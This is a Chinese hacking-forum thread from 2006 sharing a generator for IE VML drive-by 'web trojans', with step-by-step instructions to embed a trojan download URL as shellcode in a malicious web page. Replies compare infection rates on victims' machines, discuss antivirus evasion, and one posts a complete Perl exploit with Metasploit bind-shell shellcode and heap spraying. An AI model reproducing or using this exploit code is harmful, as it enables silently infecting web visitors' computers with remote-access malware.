38 12
发新话题
打印

[原创]过Windows SP2的IE_VML网页木马生成器

[原创]过Windows SP2的IE_VML网页木马生成器

文章作者:XiaoC
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

本人根据jamikazu 的代码修改的,克服了n0p的溢出只能在2000系统上运行的缺陷!
过Windows SP2的IE_VML网页木马生成器
过Windows SP2  

使用方法:
注:请勿直接运行Shellcode.exe!
1.用记事本打开“生成.bat” 修改http://www.cc99.cn/xxx.exe为你的马的地址。
2.保存“生成.bat”后双击运行,即可生成ShellCode.txt.
3.用记事本打开IE_VML.htm,找到#########Your Shellcode!!!#########的字样,
把生成的ShellCode.txt中的Shellcode复制替换#########Your Shellcode!!!#########,保存!
4.网页木马就这样生成拉!
本程序仅供学习使用,请务用于非法用途,否则后果自负!
利用代码提供
Author: jamikazu
Mail: jamikazu@gmail.com
Credit: metasploit, SkyLined
感谢n0p提供Shellcode
ㄨiaoC修改合成制作
欢迎访问http://www.cc99.cn
下载地址http://www.cc99.cn/viewdown.asp?id=66

附件

060926IE_VML.rar (38 KB)

2006-9-26 21:21, 下载次数: 796

TOP

微软于今日凌晨提前发布IE VML的补丁了。其实微软早该发布了。不过国内许多用户都关闭了自动更新,汗。
http://www.xyzreg.net

TOP

我的机上运行成功 [s:39]

TOP

我试试先。。。怎么有密码的?

TOP

试过了。。。网马太大了。。。83k
而且给杀软检测出来
还有关了杀软测试。。。
只是关ie,没有种马。。。是不是我的马太大?200多k的。。。鸽子。。。

TOP

TT关了,IE关了,均没下载测试的小程序。

TOP

昨天已经说了不行   怎么不修改一下才发出来

不完美不完美

TOP

在本机测试成功.
想请教 下sehllcode.exe 是哪来的
能否共享 下 它 代码?
最初 以为 PAYLOAD的内容就是简单 的 escape加密  可怎么也转不过来

楼主可否共享 下 得到shellcode的过程! 感谢!

TOP

shellcode是根据n0p的Internet Explorer COM Object Heap Overflow Download Exec Exploit修改而来的,具体代码可以到xsec.org上面看看!

TOP

引用:
这里是引用第[6 楼]scship2006-09-27 13:37发表的:
试过了。。。网马太大了。。。83k
而且给杀软检测出来
还有关了杀软测试。。。
只是关ie,没有种马。。。是不是我的马太大?200多k的。。。鸽子。。。
我用Windows按钮突破专家测试成功,可能是因为你的马太大的缘故吧!

TOP

XPSP2,XPSP1,2003,2003SP1以上虚拟机系统均告失败,IE自动关闭,2000SP4成功!
成功的男人白天瞎JB忙,晚上JB瞎忙;失败的男人白天没啥鸟事,晚上鸟没啥事。

TOP

我生成CODE替换打开计算机那个,试验成功.
没有加密25K,个头有点大
list.ph4nt0m.org

TOP

询问楼主解压密码啊!~~~~要不我没有办法测试啊!~~~~~谢谢
就是没话说!~~~~就是没话说!~~~~

TOP

sp2测试失败!~~~~系统资源耗尽无法成功
就是没话说!~~~~就是没话说!~~~~

TOP

生成也被杀了,还要变形加密,太麻烦了.出一点错都不行,试试这个吧
复制内容到剪贴板
代码:
#!/usr/bin/perl
#
# Microsoft Internet Explorer VML Remote Buffer Overflow (Windows XP SP2)
#
# Author: Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>
#
# Credits: Niega
#
# [UPDATE Sep 24]
# At the first time, I decide to release this exploit on Oct 10.
# However, if u see this exploit before Oct 10, it is because of one
# of the following reason:
#   1. M$ release early than Oct 10 (may be impossible, lol)
#   2. there is someone already publish the exploit, so there is no means
#     to still keep it private
# I&#39;m already publish things about XP SP2 in my log :)
#
# [url]http://sf-freedom.blogspot.com[/url]
#
###############################################################################
# For educational purpose only
#
# Note: This exploit is modified from Shirkdog&#39;s PoC
# ([url]http://www.milw0rm.com/exploits/2400[/url])
#
# I exploit the stack-based buffer overflow in the different manner because of
# the problem of shellcode. I use heap spraying technique to injection my
# shellcode in the heap. Because I can control EIP so I tell it to jump into
# the heap that contains shellcode ^-^
#
# This exploit tested on:
#         Windows XP SP2 + IE6 SP1
#         Windows XP SP1 + IE6 SP1
#         Windows XP SP0 + IE6
#        Windows 2000 SP4 + IE6 SP1
#        Windows 2000 SP4 + IE6
#
# I will describe more implementation details at my blog in this weekend :)
#
# P.S. Because of the buffer overflow protection mechanism in Windows XP SP2,
# This exploit is not success. The situation that overwrite to the location
# that eax point to is not occured, so I cannot use my techqniue
# "The Fake Cookie" that I use to break buffer overflow protection in
# Windows Server 2003 SP0 to bypass it. If anybody can break this protection
# with some techniques, plz share information :)
#

use strict;

# win32_bind LPORT = 5555 - Metasploit
my $shellcode =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49".
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d".
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66".
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61".
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40".
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32".
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6".
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09".
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0".
"\x66\x68\x15\xb3\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff".
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53".
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff".
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64".
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89".
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab".
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51".
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53".
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6".
"\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";

my $jscript =
"<script>\n" .
"shellcode = unescape(\"" . convert_shellcode($shellcode) ."\");\n" .
"bigblock = unescape(\"\%u9090\%u9090\");\n" .
"headersize = 20;\n" .
"slackspace = headersize+shellcode.length;\n" .
"while (bigblock.length<slackspace) bigblock+=bigblock;\n" .
"fillblock = bigblock.substring(0, slackspace);\n" .
"block = bigblock.substring(0, bigblock.length-slackspace);\n" .
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n" .
"memory = new Array();\n" .
"for (i=0;i<350;i++) memory[i] = block + shellcode;\n" .
"</script>";

my $header =
"<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n" .
"<head>\n" .
"<object id=\"VMLRender\" classid=\"CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E\">\n" .
"</object>\n" .
"<style>\n" .
"v\\:* { behavior: url(#VMLRender); }\n" .
"</style>\n" .
"</head>\n" .
$jscript .
"<body>\n" .
"<v:rect style=&#39;width:120pt;height:80pt&#39; fillcolor=\"red\">\n" ;

my $footer =
"</v:rect>\n" .
"</body>\n" .
"</html>";


my $body1 = "<v:fill method=\"" ;
my $body2 =
"\" angle=\"-45\"\n" .
"focus=\"100%\" focusposition=\".5,.5\" focussize=\"0,0\"\n" .
"type=\"gradientRadial\" />\n" .
"</v:rect>\n" .
"</body>\n" .
"</html>";

my $page = "\xff\xfe";  # magic number of M$ unicode file
my $c;

# header + body1
foreach $c (split //, ($header . $body1)) {
  $page = $page . $c . "\x00";
}

# very simple :)
$page = $page . "\x0d\x0d\x0d\x0d" x 65535;

# body2 + footer
foreach $c (split //, ($body2 . $footer)) {
  $page = $page . $c . "\x00";
}

open (IE_VML, ">", "exploit.html");

print IE_VML $page;

close IE_VML;

# This function copy from JSUnescape() code in Metasploit
sub convert_shellcode {
  my $data = shift;
  my $mode = shift() || &#39;LE&#39;;
  my $code = &#39;&#39;;
  
  # Encode the shellcode via %u sequences for JS&#39;s unescape() function
  my $idx = 0;
  
  # Pad to an even number of bytes
  if (length($data) % 2 != 0) {
    $data .= substr($data, -1, 1);
  }
  
  while ($idx < length($data) - 1) {
    my $c1 = ord(substr($data, $idx, 1));
    my $c2 = ord(substr($data, $idx+1, 1));  
    if ($mode eq &#39;LE&#39;) {
      $code .= sprintf(&#39;%%u%.2x%.2x&#39;, $c2, $c1);  
    } else {
      $code .= sprintf(&#39;%%u%.2x%.2x&#39;, $c1, $c2);  
    }
    $idx += 2;
  }
  
  return $code;
}

# milw0rm.com [2006-09-25]

TOP

可能是你们电脑的原因吧,shellcode生成是绝对可以的,如果失败可能是马过大或者其他原因。我本人和另外几个朋友测试均成功的!

TOP

弱弱的问一句。。。
打开了那个shellcode有什么后果的?

TOP

的确部分的XP2可以中上  挂马测试结果表明  200台能有一台可以中   你这样的生成器要来也没用

TOP

引用:
这里是引用第[23 楼]haha12332006-09-28 20:28发表的:
的确部分的XP2可以中上  挂马测试结果表明  200台能有一台可以中   你这样的生成器要来也没用
哈哈,那究竟是什么回事啊?

我在想哦。。。如果再插入06014的网马。。。不就可以中2个了嘛?!

TOP

测试网站http://www.cc99.cn/aaa.htm
这是按钮突破专家的测试页面,我们群的许多人都测试了,只有几个没中。不信自己看看。如果你挂大马当然不中了。这个漏洞利用以后ie是会崩溃的。
根据机器的不同,地址也是不一样的,这也会导致shellcode不能运行。具体请看。
http://forum.eviloctal.com/read-htm-tid-24993.html

TOP

引用:
这里是引用第[27 楼]花僧2006-09-29 21:22发表的:



是啊 放出来噻  朽木

.......
vml这个漏洞,在2000下的利用和在XP SP2下的利用是不一样的

2000下,那个字符串不能太长,太长了,有些时候会覆盖到Stack底部后,一直往下覆盖
直到覆盖了Heap区的ldr_data,这种情况虽然可以得到控制,但Shellcode执行就会不正常

XP SP2下,字符串要非常的Long... 直到覆盖到Stack底部产生异常,才有机会获得控制。

TOP

引用:
这里是引用第[28 楼]xiaoc2006-09-30 17:55发表的:


vml这个漏洞,在2000下的利用和在XP SP2下的利用是不一样的

2000下,那个字符串不能太长,太长了,有些时候会覆盖到Stack底部后,一直往下覆盖
.......
用你网站最新那个IE不关闭
但不中马

TOP

引用:
这里是引用第[26 楼]十四郎2006-09-30 22:34发表的:


用你网站最新那个IE不关闭
但不中马
注意操作系统!!!!!!!

TOP

我的是XP SP1的
难道是SP2才中吗

TOP

请老大们做一个使用的说明啊
我用了以后生成80来兆,然后一会就自动关闭IE
是不是哪里出错了,用压缩吗?

TOP

 38 12
发新话题